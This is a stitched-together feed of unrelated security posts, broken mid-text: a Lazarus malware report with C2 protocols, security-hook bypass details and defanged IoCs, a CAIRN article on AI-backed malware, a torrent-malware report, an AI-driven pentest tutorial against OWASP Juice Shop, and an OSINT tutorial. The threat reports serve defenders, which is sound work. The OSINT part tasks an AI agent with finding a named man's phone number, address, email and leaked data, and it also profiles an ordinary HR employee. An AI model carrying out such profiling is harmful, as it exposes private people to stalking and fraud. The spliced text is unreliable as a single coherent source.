5 | Plugin: load the received body reflectively, obtain the address of a function in the payload, but refrain from invoking it immediately | The payload’s image base, the address of the function |
0x00001011 |
11 | Plugin: execute the behavior associated with value 3, then unload immediately after invoking the plugin | – |
0x00010001 |
17 | DLL loading: load the received body reflectively with the provided parameter, maintaining stateful communication via a persistent interactive session using a shared buffer | The payload’s image base, the address of the interactive shared buffer, and the execution result |
The even value provides two distinct invocation methods for DLLs and plugins that have already been loaded and are associated with the odd‑value bitmask. The 2 (0x10) flag allows the payload previously loaded with the 1, 3, or 5 bitmask to be reused and invoked directly. The value 16 (0x10000) corresponds to the 17 (0x10001) flag in loading mode and uses the established interactive shared buffer to exchange data. All values are guaranteed to act independently.
| Bitmask | Value in decimal | Description | Result sent to the C2 |
0x00000010 |
2 | Invoke the previously loaded DLLs and plugins along with the provided parameter | The execution result |
0x00000100 |
4 | Not implemented | – |
0x00001000 |
8 | Unload the previously loaded DLLs and plugins | The execution result |
0x00010000 |
16 | Send the updated parameter to the payload loaded by the command with the value 17, and exchange data through the interactive session. This command also determines whether to retrieve the execution result or unload the payload | The execution result |
Taking into account the loading mechanism, we identified four plugins deployed to the target that work perfectly with ClientHub.
| Plugin | Description |
| File archiver | Archives the provided file using the legacy ZipCrypto algorithm (without password protection) and returns the compressed data |
| File collector | Searches for all files matching the provided search pattern and collects metadata including filename, MAC timestamps, file size, and attribute values |
| File cleaner | Overwrites the provided file with NULL bytes, renames it to a randomly generated filename of the same length, and then deletes it. If a directory with a search pattern is provided, it locates all matching files, renames each to a randomly generated name of identical length to its original name, and deletes them |
| Drive and session monitor | Monitors remote session changes and local drive changes for the provided duration (in 10-minute intervals) and returns the collected status information |
In addition to the plugins, ClientHub supports the loading of LPEClient malware and communication with it. We found that ClientHub’s body_type values 16 and 17 correspond to LPEClient’s C2 communication mechanism.
LPEClient
LPEClient is the only malware that was also observed in Operation SyncHole, indicating that the actor relies heavily on it for sophisticated victim profiling and payload delivery across multiple operations. LPEClient first appeared in 2019, and was discovered in 2020. Since then, the tool has been widely observed in the Dream Job and Cascade Hole campaigns that targeted South Korea. Recent research conducted by Check Point revealed that LPEClient was used to deploy the FudModule malware using a zero-day.
LPEClient has evolved continuously over time, but we discovered that it recently underwent a major operational revamp. It no longer contains the C2 server address itself; instead, it interacts with ClientHub via a shared buffer. We believe this change is intended to enhance concealment.
The previous version collected the computer name, memory status, CPU specifications, operating system details, version of the ntoskrnl.exe file, firmware table, antivirus name, domain name, user name, the integrity level of the current process, and a random byte sequence of 1,568 bytes. The newly updated LPEClient variant mostly collects the same information; however, it also introduces several changes.
- It does not collect the version of the
ntoskrnl.exefile by querying theFileVersionvalue. Instead, depending on the specific build, it reads either theHKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\UBRregistry key or theSYSTEM_BUILD_VERSION_INFORMATIONstructure to retrieve the revision portion of the Windows build number. These values can be used to infer the system’s cumulative update or patch level. - To collect information about installed antivirus products, it switched from querying a WQL command to reading the WMI repository file directly. It now reads
C:\Windows\System32\wbem\Repository\OBJECTS.DATAand searches for keywords such as AntiVirusProduct, companyName, and displayName to identify the installed products. - It also collects low‑level Windows security mitigation states. To achieve this, it queries the
SYSTEM_KERNEL_VA_SHADOW_INFORMATIONstructure for the Kernel VA Shadow mitigation status and theSYSTEM_SHADOW_STACK_INFORMATIONstructure for the Shadow Stack (CET) protection status.
Additionally, it generates a 32‑byte random unique identifier by using the HighwayHash algorithm and an XOR operation with the current system time. The collected information, including the generated identifier, is compressed with the XPRESS Huffman algorithm using the maximum compression setting. The compressed data is then concatenated with the message ID 0xF07D6B34 and encrypted using GOST (also known as Magma), Russia’s national cryptographic standard that employs a DES‑like structure, before being sent to the ClientHub via a shared buffer. Initially, KrCERT described the algorithm as a custom DES‑like scheme. However, further analysis by us and Check Point confirmed that it is actually the GOST algorithm. The key is randomly generated by a proprietary key‑generation algorithm and prepended to the encrypted message.
The next request handles the key exchange by delivering the message ID 0xA39CF278 together with the generated unique identifier. The response is decrypted using the AES‑CBC‑256 algorithm. The SHA‑256 hash of the previously generated 1,568‑byte random value, which was originally sent to the C2 server during the collection phase, serves as the key for this decryption.
Through this process, LPEClient obtains a byte array comprising four 1,568‑byte blocks from the C2 response. Each block contains an ML‑KEM‑1024 public key, where ML‑KEM is a NIST‑standardized post‑quantum key encapsulation mechanism derived from CRYSTALS‑Kyber. LPEClient then generates four distinct pairs of shared keys and ciphertexts from these blocks, encrypts the ciphertexts with the GOST algorithm, and transmits them to the C2 server via ClientHub together with the message identifier 0xEF8C0D51 and the associated identifier. Now that the preparation phase for receiving payloads is complete, the malware is ready to receive payloads forwarded by ClientHub from the C2 server, along with the necessary parameters. The use of post-quantum cryptography shows that the group intends to hide subsequent payloads.
The response to the 0xEF8C0D51 message is decrypted with the Threefish algorithm using a 128-byte key, composed of the four distinct shared keys. Threefish is a tweakable block cipher that accepts a ‘tweak’ value alongside the key and the message. The concept of a tweak is similar to that of a nonce or initialization vector, which are used in different types of ciphers. In LPEClient communication, the tweak for the decryption is derived by XORing the unique identifier with 165 (0xA5). The first four bytes of the decrypted message must specify the parameter’s length, followed by the parameter itself and then the payload. The payload must be larger than 4 KB and start with the characters 'MZ', which indicates that the decrypted payload is an executable file. The payload is then reflectively loaded into memory. After successful loading, LPEClient sends the message ID 0xCB790A25 to the C2 server.
Before loading the acquired payload, LPEClient takes measures to bypass security products. Instead of invoking VirtualProtect directly, the malware uses the identified HeapPageAllocator::ProtectPages in jscript9.dll to modify the memory page protection of the MD4Update function. The beginning of the function is then overwritten with a hard‑coded opcode sequence that serves as a syscall stub with the required arguments. LPEClient then uses the syscall stub to disable a user‑mode syscall instrumentation hook.
We identified the final payload that was ultimately loaded as Cubridge. The overall communication process is as follows.
Comparison of plugins and modules
Throughout the engagement, we identified a variety of payloads deployed by TechHub, Cubridge, and ClientHub. These payloads have been categorized as tools, plugins, and modules that constitute the group’s modular malware framework. While we have not yet ascertained which payloads are deployed under specific conditions, the evidence suggests that the Lazarus Group’s toolkit is becoming increasingly sophisticated and segmented into specialized components rather than a single comprehensive backdoor. We also believe that TechHub and Cubridge may share similar tools.
| Deployed via | Type of payload | Family |
| TechHub/Cubridge | Tool | Process collector, Browser stealer |
| Cubridge | Module | Action module, Function module |
| Cubridge | Plugin | ADFinder, FileCollector |
| ClientHub | Plugin | File archiver, File collector, File cleaner, Drive/session monitor |
These modularizations are not confined to the instances within this campaign. As previously noted, similar patterns have been identified in CookiePlus, MISTPEN, SIGNBT, and IMETHOD. Note that we have reclassified the ThreatNeedle variant used in Operation SyncHole as the latest version of IMETHOD, the predecessor of ThreatNeedle in use since at least 2016.
Infrastructure
Based on the information we obtained from the TechHub malware, we identified at least three primary repositories used as the C2 server and one fallback repository. The earliest evidence indicates that the group has been leveraging GitHub as a C2 server since at least July 2025. We suspect that all the accounts were created using hijacked email accounts, and disguised as normal repositories by copying or creating normal projects to avoid suspicion.
For the Cubridge and ClientHub C2 servers, the Lazarus Group employed only a minimal number of compromised yet legitimate South Korean media and interior design websites. Later, we observed that a broader range of compromised legitimate sites across various industries were also exploited. In addition, one ClientHub sample that we detected used Dropbox as a C2 channel.
Victims
We have identified at least three firms from the software, construction, and wired communication equipment industries in South Korea that were targeted by Operation FlashHole. As with the previous operation, however, we remain confident that a considerably larger number of organizations across a broader spectrum of industries have been affected.
The software sector was the only sector targeted in both the SyncHole and FlashHole campaigns. This suggests the actor is eager to compromise the sector, steal source code, and exploit vulnerabilities for further attacks.
Attribution and links to other campaigns
Operation FlashHole is the latest wave in the broader Cascade Hole campaign, which involves the use of South Korean software as a potential entry point to deliver malware targeting the country. Although the malware chain has advanced significantly since last year, we assess with medium-to-high confidence that the same actor is responsible for both the SyncHole and FlashHole operations based on the initial vector, targets, multi‑stage chain, and technical and operational improvements. The use of LPEClient in particular is a strong indicator supporting this assessment.
The malware strains used in the attack are historically linked to the toolsets observed in the Lazarus Group’s notorious Dream Job campaign. Earlier versions of TechHub (also known as CLOUDBURST and NickelLoader), Cubridge (also known as SIDESHOW and LightlessCan), and TouchShift were all observed in that campaign, especially between 2022 and 2023.
We also discovered that both CookiePlus and ClientHub have significant overlaps in class name, configuration path, and plugins. Based on these similarities, we assess with medium‑high confidence that ClientHub is an advanced version of CookiePlus.
Since July, around the time Operation SyncHole began winding down, we have also observed several notable attacks against South Korea employing the COPPERHEDGE backdoor and targeting various South Korean organizations. Interestingly, the start times of these activities align with the earliest evidence we have identified for Operation FlashHole. Although the backdoor was part of the second phase of Operation SyncHole, it has been operating independently with its custom loader since then. These incidents featured malware chains and tools that were distinct from those used in Operation SyncHole and FlashHole.
As AhnLab noted in their report, the same backdoor was likely observed in atypical activity, specifically the Gunra ransomware infection. Our investigation further revealed that one instance of a backdoor infection ultimately resulted in the exfiltration of data to a dark web leak site, which clearly differed from Gunra’s. The site appears to have been crafted exclusively for this activity. In summary, unlike other attacks, the backdoor was used in conjunction with both ransomware and data exfiltration.
Another noteworthy point is that the recent Dream Job campaign employs an updated malware chain that, since around 2024, has primarily involved MISTPEN and ForestTiger rather than the earlier arsenal that included tools such as TechHub and Cubridge. However, the updated versions of this older malware have now re-emerged as part of Operation FlashHole. Considering these changes and all aspects of each attack’s TTPs, we have organized a classification for each attack.
Conclusion
Our analysis shows that the Lazarus Group begins preparing for its next operation shortly after completing the previous one, ultimately deploying an enhanced malware chain by refining existing tools. The group continues to use the advanced version of LPEClient for profiling and payload delivery, indicating that the tool is meticulously managed and well maintained. Ironically, the group seems to have adopted more secure post-quantum cryptography faster than many legitimate security products. These observations suggest the involvement of a dedicated developer, with others orchestrating comprehensive attack scenarios against newly targeted software.
We anticipated that specialized attacks targeting South Korea would persist. However, we did not foresee multiple attack campaigns being executed simultaneously, each leveraging different types of software and tools. Notably, the COPPERHEDGE cluster appears to be involved in monetizing the attacks, while Operation FlashHole is focused on espionage. We are closely monitoring these changes to understand their motivations and ultimate goals.
In October 2025, the South Korean government unveiled a comprehensive cybersecurity plan that will phase out the mandatory installation of security software for users beginning in 2026. We estimate that operations exploiting this software will remain highly active for some time, maximizing efficiency, before the software is fully eliminated or mitigated.
Kaspersky products detect the exploits and malware used in this attack with the following verdicts: MEM:Trojan.Win64.Shellcode.gen, Trojan.Win64.DLLhijack.*, Trojan.Win64.Lazarus.*.
Indicators of compromise
File hashes
TouchShift
ec84d6cb2ae7974767aedac246b50a3e mscoree.dll
a28cba214058fcae2883d8cffc883abd mscoree.dll
c105d6b16f544582772de0159f24c00a mscoree.dll
2f8475a90a25624ed02f1d18d4e6d65d mscoree.dll
676fabe30a28b53925fba98e34b35986 mscoree.dll
b4a7eff35f048f06fb0a2d7631f23a7d mscoree.dll
ClientHub Loader
ff07641dc56914dd90ee0bd7404d7ad7 liblzma.dll
File paths
C:\ProgramData\Package.txt
C:\ProgramData\RasConv\mscoree.dll
C:\ProgramData\Apple\mscoree.dll
C:\ProgramData\ssh\mscoree.dll
C:\ProgramData\qorestor\mscoree.dll
C:\ProgramData\Dell\mscoree.dll
C:\ProgramData\Dell\Dell1.tmp
C:\ProgramData\Dell\Dell3.tmp
C:\Windows\System32\RasConv\mscoree.dll
C:\Windows\System32\RasConv\ActivationStore.dat
C:\Windows\System32\DrvConh\mscoree.dll
C:\Windows\System32\DrvConh\ActivationStore.dat
C:\Program Files\Common Files\System\msadc\msadc.inc
C:\ProgramData\desktops.ini
C2 servers
javadevhouse.co[.]kr
pythonapischool[.]com
hxxps://cubedesign[.]co[.]kr/news C2 of Cubridge
hxxps://cubedesign[.]co[.]kr/mobile/fashion C2 of Cubridge
hxxps://fp-news[.]co[.]kr/shop/cart C2 of Cubridge
hxxps://k-wbc[.]co[.]kr/skin/social/social_view.php C2 of ClientHub
hxxps://rcsh[.]co[.]kr/modules/bbs/tiles/bbs_div/inputForm.php C2 of ClientHub
hxxps://www[.]ksog[.]org/insert_file/handle.php C2 of ClientHub




MATCHBOIL: New tricks, same old evil intentions
Malware Analysis: Analyzing AI-Backed Malware with CAIRN
Welcome back, aspiring cyberwarriors!
Some of you have already seen the headlines about malware calling out to AI APIs. Recently, Talos found a Windows implant called CLOSEDQUORUM that leaves its tactical command and control decisions to a panel of commercial LLMs while the operator sleeps. Malware like that doesn’t leave the traces we’re used to hunting. Now you find prompt templates, provider endpoints, API key prefixes, jailbreak wording and sometimes text written to talk an AI sandbox out of flagging the file. Talos calls these cognitive artifacts and developers who wire an LLM into their tooling leave some behind.
What is CAIRN
Cisco Talos built a free research tool called CAIRN. The name is a metaphor. A cairn is a pile of stones hikers leave on a trail so the next person can see where to go. CAIRN looks for the same kind of marker inside malware that talks to AI. It works from metadata, which means you never download the sample and you never run it. Keep in mind, it needs a VirusTotal API. It sorts what it finds into three tiers, from a simple AI string match, to behavior and families. It also clusters samples that look alike even when they don’t share an obvious string.
CAIRN is a research tool and not a live threat feed. It shows us where hackers are heading.
Let’s set it up and cover some basic commands.
Setting Up
We start by copying the repository and installing the python libraries.
kali > git clone https://github.com/Cisco-Talos/Cognitive-Artifact-Intelligence-Research-Network.git
kali > cd Cognitive-Artifact-Intelligence-Research-Network
kali > python -m venv .venv
kali > source .venv/bin/activate
kali > pip install -e ".[dev]"

The env file needs VirusTotal API.
kali > cp .env.example .env
kali > nano .env

Once it’s there, you can start with some basic commands.
Basic Commands
The first thing we do is open the YARA file that ships with CAIRN and check that it is readable and put together the way the tool expects. If it prints a rule count and says the pack is valid, the rulers are loaded. You run it after install or after you edit a rule, so you know the next hunt will not fail because the rule file is broken.
kali > cairn validate-rules

Next we print the list of saved VirusTotal searches that come with CAIRN. We will use these names in the following command. The command only reads a config file on disk.
kali > cairn filters

Each name on that list is a hunt idea you can use, like Python files that mention an LLM library, or files that mention a hosted API.
kali > cairn pull --filter python-ai-scripts --limit 10
Next, you can summarize the findings. It reads only your database and tells you how many files you got and what rules were in use.
kali > cairn summarize
We can then open the map.
kali > cairn explore

Here is how the clusters look like. Samples are grouped into clusters even when they share no obvious string overlap. These are semantic discoveries that analyze the meaning.

Malware That Uses AI
Let’s take a look at the new developments in malware that were published by Cisco Talos. Their team was analyzing CLOSEDQUORUM.

They say it’s the first publicly documented Windows implant to apply this model to tactical command and control (C2). After it’s deployed, it uses AI models to decide what to do next and then executes their collective decision to harvest user credentials and crypto wallets. It doesn’t need a human to be ruling over the process, as the AI does everything.
Traditional C2 architecture needs the hackers to have server infrastructure. That infrastructure is attributable and blockable. Instead of this, CLOSEDQUORUM calls up to four commercial LLM provider endpoints used by thousands of legitimate applications daily.
Here is how it looks decompiled.

You see the providers, models and prompts.

Hackers also may give detailed technical prompt templates. Here TARGET: %s is substituted at runtime.

The response is then deserialized into a Go struct.

Structure of the returned model’s decision.
Summary
Malware that calls out to AI is already here. There’s no server to attribute or block, since the traffic goes to provider endpoints that legitimate apps hit all day. Now we also hunt for cognitive artifacts like prompt templates, provider endpoints, API key prefixes and jailbreak wording. CAIRN helps with that by working from VirusTotal metadata, so you never download or run the sample. It groups findings by AI strings, behavior and families and clusters similar samples by meaning. It shows us where hackers are heading, and they’re heading toward AI doing the thinking for them.
If you like Malware Analysis and want to improve your skills in this field, sign up for our Reverse Engineering Malware training.
The post Malware Analysis: Analyzing AI-Backed Malware with CAIRN first appeared on Hackers Arise.
Salmon Introduces Execution Verification Infrastructure (EVI) for Securing AI Agents and Autonomous Systems
Beware the SparroWock: The backdoor that bites, the commands that catch
The Odyssey and Trojans again: MovieReaper attacks users in multiple countries through compromised torrents

Introduction
Torrent trackers have long been abused for distributing malicious software, disguised as popular films, games, and other content. Our previous research has shown that cybercriminals repeatedly turn to torrents as an initial infection vector, using trojanized cracks and installers to reach a large number of users. Installation guides for pirated software routinely instruct users to disable their antivirus, conditioning them to ignore the potential threats they are inviting onto their computers.
During our analysis of malware that leverages blockchain networks for its C2 infrastructure, we discovered a previously unknown modular, multi-stage framework that we dubbed MovieReaper. This report details the new crimeware campaign that began with the mass infection of users via compromised torrent tracker file storage. We have identified several hundred victims, including both individual users and organizations in multiple countries, such as Russia, Türkiye, Japan, Kenya, Uganda, and Colombia, as well as in several European countries like Spain, the Netherlands, Belgium, and Germany. We analyze the techniques for evading detection by security and sandbox solutions, and examine the capabilities of the modular framework.
Kaspersky products detect this threat as HEUR:Trojan.Win64.Agent.gen.
Technical details
Background
In mid‑August 2026, during our threat‑hunting efforts, we identified a large‑scale infection campaign involving previously unknown malware disguised as popular movies. The campaign affected both individuals and organizations across multiple countries. Our initial analysis revealed a common denominator: all of the victims had used torrent trackers. This finding prompted us to investigate the campaign further and analyze its distribution mechanism, overall scope, and unknown malware implants.
Initial infection and spread
Compromised torrent trackers are the primary vector used to distribute malware. During our investigation, we identified multiple user reports describing suspicious files being downloaded instead of the intended content.
For example, a user of a popular movie torrent tracker reported the following case on Reddit:
Further analysis of the attack revealed that instead of compromising torrent trackers, the threat actor modified a widely used public repository of torrent files, itorrents[.]org. As a result, the trackers that relied on the repository began inadvertently distributing malicious torrent files to their users. This approach is particularly dangerous because it lets the threat actor reach users of multiple trackers without having to compromise each platform individually.
As of the publication date of this report, the archive remains compromised. When a user attempts to download a torrent via a magnet link, the legitimate torrent archive returns a different torrent file. This malicious torrent leads to the download of the malware loader, used to deploy a framework that we dubbed MovieReaper.
The loader initiates the infection chain shown in the diagram below. Each stage of the chain is described in detail in the following sections.
Malware implants
The infection chain consists of several steps, where only the initial one is dropped on the disk before it is executed to avoid detection. The malware itself is not heavily obfuscated, apart from strings being encrypted with a custom stream cipher. Most of the countermeasures were aimed at avoiding detection by AV sandboxes.
Step 1: Loader
The most popular initial executable was distributed through torrent trackers under many different names (for example, the odyssey (2026) [1080p] [webrip] [5.1].exe), but the file hash (MD5: A0B13781EDD7CFDAB13D79AFFF3C83C1) was identical across all downloads. We have seen multiple different loaders, where the executable file disguises itself with a long filename and an icon of some well-known application. Most of the filenames are rather long, presumably to hide the EXE extension at the end.
After the user manually starts the application, it establishes a global mutex to ensure that only one loader is executed at a time. We have seen several mutex variations in our samples, containing a randomly generated string (in the example Global\fnulSktzSqvVLXHU). This executable then performs a series of operations in order to avoid detection by AV sandbox solutions.
While performing those operations, the malware avoids making LoadLibrary and GetProcAddress calls to acquire the addresses of required functions. Instead, it searches for loaded libraries by traversing the double-linked list taken from the Ldr field of the PEB and then performs manual parsing of the loaded DLL to calculate the function address.
After all initial checks have passed, the binary prepares to establish a network connection to a C2 web server to download the shellcode, map it to the RWX memory and execute. While doing so, the loader decodes the domain name https://deadhub[.]org and if connection to it has failed, it uses the IP address http://193.23.118[.]155 as a fallback and connects to it using plain HTTP. The malware chooses a random group of strings and uses them as a path in the HTTP request to download the parts of the shellcode.
Example URLs:
/cloud/v192.4/ui/sync-status-icons.png
/cloud/v192.4/onboarding/welcome-bg.jpg
/cloud/v192.4/ui/file-preview-placeholder.png
/cloud/v192.4/shared/link-banner.jpg
While mapping the address space and executing the shellcode, the loader registers a vectored exception handler and rewrites the handler address in memory in order to perform a debug break. This, will not crash the program, but instead redirect controlflow to the function that actually makes a raw NtProtectVirtualMemory syscall (via a previously located “0x0F 0x05” syscall instruction inside ntdll). Then it calls the undocumented ntdll function EtwpCreateEtwThread, which is a popular alternative to CreateThread for code executionm, and executes the shellcode.
Step 2: Shellcode
The second stage of this malware performs an HTTPS request to the Solana blockchain at the endpoint /getAccountInfo endpoint for the account 6pnDGAiHgyPdmckM5Qt1YbanGzrX43WLEU159nRaNLDm. The data in field of the response contains the base64‑encoded address of a second C2, which is encrypted with a static XOR key located within the shellcode itself. To store data in this account, attackers used a simple Solana program (address: CSiY8bQLBYPdfPWkwipBzH6sijTVQVVsA279JQdvwHtL).
Utilizing the Solana blockchain as a storage layer for next-stage C2 endpoints substantially complicates infrastructure takedown efforts by defenders.
The second stage payload communicates with its C2 server strictly through HTTPS via a TLS-pinned certificate using the nanopb protobuf library as a container for transferred data. The main logic of the stage 2 implant contains several initial commands, where the most important is the one that parses the COFF file, loads it into memory, and executes the module_init function from it. This provides a convenient interface for extension of the command list, which brings us to the next stage of the payload.
Step 3: UAC Bypass and persistence
Notably, the recovered modules were compiled with symbols, which accelerated reverse engineering.
After receiving the next stage from the second C2 server, the newly loaded module performs several tasks right in the module_init function.
Stage 3 performs UAC Bypass and achieves persistence using public techniques, masquerades the original binary as C:\ProgramData\Microsoft\Windows\Telemetry\msedge.exe, and restarts itself.
The respawned process starts with the initial loader, but with a special command-line argument, which allows it to skip most of the anti-sandboxing checks and proceed straight to downloading the next payload. The executable proceeds with the same steps as before, but this time, instead of downloading the persistence and UAC bypass module, a new one is downloaded from the second C2 server. This is because the malware uses the beacon to send a flag to the remote server, indicating whether the implant is running from the Telemetry folder, which allows the C2 to distinguish between first-run and respawned instances.
Step 4: The final implant
The final module (“file manager”) exposes 21 commands that give the operator filesystem access on the victim host. This allows remote the operator to download, upload, and read files on the system; list and enumerate directories; manipulate files with create, copy, rename, move, delete, chmod, and symlink commands; and use preview and thumbnail commands to exfiltrate previews of images and files before actually extracting them.
We suspect that other modules may be loaded on demand if requested by the operator.
Infrastructure
During this malware campaign, attackers are using various commercial hosting providers for their C2 infrastructure (see the IoC section for details). Furthermore, as noted above, the campaign leverages the legitimate Solana blockchain via the RPC endpoint api.mainnet.solana.com to deliver the address of the second‑stage C2 server to the malware. This approach provides the attackers with decentralized storage for C2 addresses, adding an additional layer of resilience and making it more difficult for defenders to disrupt the campaign by simply blocking the IP addresses of the C2 servers.
Victims
The observed campaign targeted both individuals and organizations across Europe, Asia, Africa, and Latin America, with infection attempts identified in Russia, Spain, Germany, Finland, Türkiye, Japan, Nepal, Kenya, Tanzania, Ghana, Uganda, Colombia, the Netherlands, Belgium, and other countries. The targeted organizations span a wide range of sectors, including enterprise, government, IT, consulting, retail, transportation, and agriculture.
Conclusions
Our research uncovered activity by the same actor dating back to October 2025. Although the campaign has evolved over time, with the malware authors expanding their arsenal and making the loader harder to detect, the pattern remains the same. This includes encoded strings, parts of shellcode downloaded through plain HTTP, and several techniques used to avoid sandboxes and virtual machines. We will continue monitoring this actor’s activity to catch new potential threats.
The first stage offers the clearest opportunity to disrupt this campaign: it relies on a single specific domain name and a single IP address to serve the shellcode, so taking down this server would prevent subsequent infection stages. This includes the second-stage payload, which uses the Solana blockchain network for a C2 and is therefore more resistant to conventional infrastructure takedowns.
However, this framework’s self-containment, modularity and in-memory execution has potential for reuse in later campaigns with minimal rework.
Indicators of compromise
File hashes
4334BBAEA8DE33BF9D45E9B4E4E3BC2
4843F9FAFCAE492F11E2D4D33DBB4CDD
5310CABAE3FBE6DB8742849B588093F9
A0B13781EDD7CFDAB13D79AFFF3C83C1
70060341CAF3338697A7DDFE0FB62875
AD4643EEA15AC286FA47D1131F9EF756
D0B967571AC8A3863C7F324BF5BDE99C
D88D550D0FB8E60CFFFF3EA61FF7A067
File paths
%ProgramData%\Microsoft\Windows\Telemetry\msedge.exe
Mutexes
Global\E4AyDKzvEhe2hgAr
Global\fnulSktzSqvVLXHU
Domains and IPs
First-stage C2:
deadhub[.]org
193.23.118[.]155
Second-stage C2:
208.64.33[.]90
208.94.246[.]53




Artificial Intelligence (AI) in Cybersecurity, Part 27: Web App Hacking with Cybermes
Welcome back, aspiring cyberwarriors!
With so many AI tools out there, it’s getting harder to find the ones actually worth your time. A lot of projects look alike and the differences between them can come down to minor UI tweaks. But it’s still worth digging, because every now and then you find something good.
One of the interesting projects we came across recently is Cybermes. It’s an offensive security assistant and automation framework built for bug bounty hunting, recon and reporting. It has more than 200 security playbooks and full Model Context Protocol (MCP) support. The most notable thing here is the reporting structure. The framework handles reporting really well, it has a scope.yaml file you can modify and the TUI interface looks clean.
We’ll show what the assistant can do and how well it handles the tasks.
Setting Up
Unlike PentestCode, there’s some work to do before you can start using the tool.
First, make sure you have Go installed on your Kali. The framework needs to compile tools and without Go your installation will be incomplete.
kali > sudo apt update
kali > sudo apt install go-lang
Then download the repository and run the setup script.
kali > git clone https://github.com/Zyrexnn/Cybermes.git
kali > cd Cybermes
kali > python3 -m venv venv; source venv/bin/activate
kali > chmod 777 setup.sh
kali > ./setup.sh

It’ll take a few minutes. When it’s done, run the doctor script to make sure everything is in order.
kali > python3 tools/doctor.py

After that, add your OpenRouter API key to two env files before you can start working with the tool.
kali > vim .env
kali > vim hermes/.env

Make sure you add the API key to both files, otherwise it won’t work.
kali > ./cybermes model

Finally, specify the scope in scope.yaml. We’ve got OWASP Juice Shop for the test, listening on port 3000.

Now we’re all set.
IDOR/BOLA – Terminal User Interface
The Terminal User Interface is clean and easy to work with, so we’ll start there. You might end up preferring it over the CLI version.
kali > TARGET=127_0_0_1_3000
kali > ./cybermes –tui

Our first prompt in TUI is hunting for IDOR using Nemotron 3.5 Lightning. As the model tests the target, you’ll see entries populating the screen with the commands the tool runs.

Fifteen minutes later we got our results and BOLA was confirmed.

Reporting is really the strongest side of this framework. It created a couple of files with reports and sorted them properly. As you keep hunting for bugs on the same target, all your findings get brought together in one file.

Findings are always stored in Markdown format and keep almost the same structure every time, which makes them look professional.

JWT & SQLi – Command-line Interface
Now let’s look at the CLI version and try to find more bugs.
kali > ./cybermes --cli
Our first prompt will be testing JWT:
Authorized lab only. Target http://127.0.0.1:3000/rest/user/login.
Audit authentication and JWT handling with non-destructive requests. Try the publicly documented Juice Shop demo accounts if needed (admin@juice-sh.op / admin123 and a normal user you register).
Check token claims, privilege flags, and whether a standard user can hit admin-ish REST routes.
Record only confirmed issues under reports/127_0_0_1_3000/findings/.
It took some time to reason through and test the app, then gave the results.

The same files were produced again, with PoCs and an explanation of each bug and the risks tied to it.

We also tested SQLi on search:
Authorized lab only. Audit http://127.0.0.1:3000/rest/products/search?q= for SQL injection using safe syntax and error/timing evidence. Do not dump the full database into the terminal. If confirmed, write reports/127_0_0_1_3000/findings/high_sqli_product_search.md and a minimal PoC in pocs/.

Here’s the report on our SQLi finding, looking just as good as the previous ones.

The tool passed all our tests against the Juice Shop and brought the findings together in the final report. The skills it ships with work well. You might want to go through them and add some of the ones we covered recently. We covered a repository with 83 skills and almost half of those were built by studying 681 real bug reports that people actually got paid for on HackerOne.
Summary
Cybermes has clear strengths. It’s good at reporting, it has a clean TUI and a big library of built in skills. The framework sets up quickly if you have Go installed on your Kali and it already knows which tools to work with based on those skills. That’s handy. We used OpenRouter for this test, but you can also point it at your local Ollama models. For that you’ll need a tool calling model (qwen2.5:14b). Chat only 3B models won’t cut it here.
We also invite you to join our AI for Cybersecurity training. During the training, we’ll show you different ways of using AI in cybersecurity, set up local models and solve labs. The field is evolving rapidly and the sooner you learn things, the greater the advantage you’ll have.
The post Artificial Intelligence (AI) in Cybersecurity, Part 27: Web App Hacking with Cybermes first appeared on Hackers Arise.
Artificial Intelligence in Cybersecurity, Part 26: OpenPlanter for OSINT Investigations
Welcome back, investigators!
Some things just lie on the surface, while others take time to find. In OSINT, finding the right data often means digging deep. Before you reach a conclusion, there must be solid evidence to support it, and data acquisition is always the most time consuming part of this process. The success of your investigation depends on how well you can find information and connect the dots.
OpenPlanter can automate part of this process.
OpenPlanter
Essentially, OpenPlanter is a recursive language model investigation agent. It ingests different kinds of data, which can be corporate registries, campaign finance records, government contracts and more. It then resolves entities across them and surfaces connections through evidence-based analysis. You can also use it to build profiles of individuals based on publicly available information.
OpenPlanter has both a desktop GUI and a terminal interface. The second one is more convenient.
Setting Up
The setup process is quick. We just need to create a Python environment that will host the needed libraries.
kali > git clone https://github.com/ShinMegamiBoson/OpenPlanter.git
kali > cd OpenPlanter
kali > python3 -m venv venv; source venv/bin/activate
kali > pip install -e .

Once it’s done, we need to give it our API keys.
To make web searches, OpenPlanter needs the Exa API. Exa is cheap to use and gives free credits for new accounts, so you don’t have to pay upfront. OpenRouter API is also needed to run the tool. OpenRouter has free AI models, but there is a daily usage limit. Make an account there and get your free API key.
To configure keys, run this command and paste them:
kali > openplanter-agent --configure-keys

At this point, you can use the tool.
Using OpenPlanter with OpenRouter
The daily API usage limit is enough to run a couple of basic tests, like the one below.
kali > openplanter-agent --task “Find recent security breaches affecting Apple” --provider openrouter --model openrouter/free

OpenPlanter will use Exa API key to find information. Without Exa, it burns tokens faster and gives incomplete results.
Normally, the tool saves the results in a text file in the current directory, but it doesn’t always happen. Be careful and make sure you don’t lose anything.
Here is our first report.

To make things more interesting, we asked it to find a complete list of Tatneft executives. Tatneft is one of the largest oil and gas companies in Russia.

The report was well organized, but all this information is readily available on the internet, due to the size of the Russian company.
When it was asked to find more information on a specific person from the list above, it struggled to find much and ended up with some generic data and a wrong social media account. Well, maybe that person is hard to find, so we gave it a second chance and picked a unique name from the same list: Nail Ulfatovich Maganov.
kali > openplanter-agent --task "Find as much information as you can on Nail Ulfatovich Maganov who works at Tatneft. If possible, find his Vkontakte, phone number, address, email and check if his email has been in data leaks. Save the results in a text file" --provider openrouter --model openrouter/free
The results can be seen below. OpenPlanter did find his LinkedIn account and extracted information from various places.


It also found OpenSanctions records associated with Nail Maganov.
But he is a well known figure in Russia. What about regular employees at a large Russian company? We will use Sibur for this example. Founded in 1995, it’s Russia’s largest petrochemical company.
We tried two individuals. During the first attempt, the tool didn’t find the correct person. After the second attempt with a different employee, it gave the results.


It found Svetlana’s position (Head of HR). This information was in her LinkedIn account. The rest of the information deserves further validation. Keep in mind, Russia has undergone a massive data blackout, systematically dismantling its open data and public statistics infrastructure. No wonder it’s hard to find things there.
Using OpenPlanter with Ollama – Locally
OpenPlanter’s own docs push toward frontier models (GPT-5.2, Claude Opus 4.6, Cerebras Qwen3-235B), because the whole process is quite demanding. Small local models will be noticeably weaker. But we still gave it a try. The first model was Qwen3:0.6B and its first attempt didn’t produce any results. After the second attempt, it found recent vulnerabilities that Windows had.

We also tried it with Qwen3:4b, but it produced absolutely irrelevant data in its response.

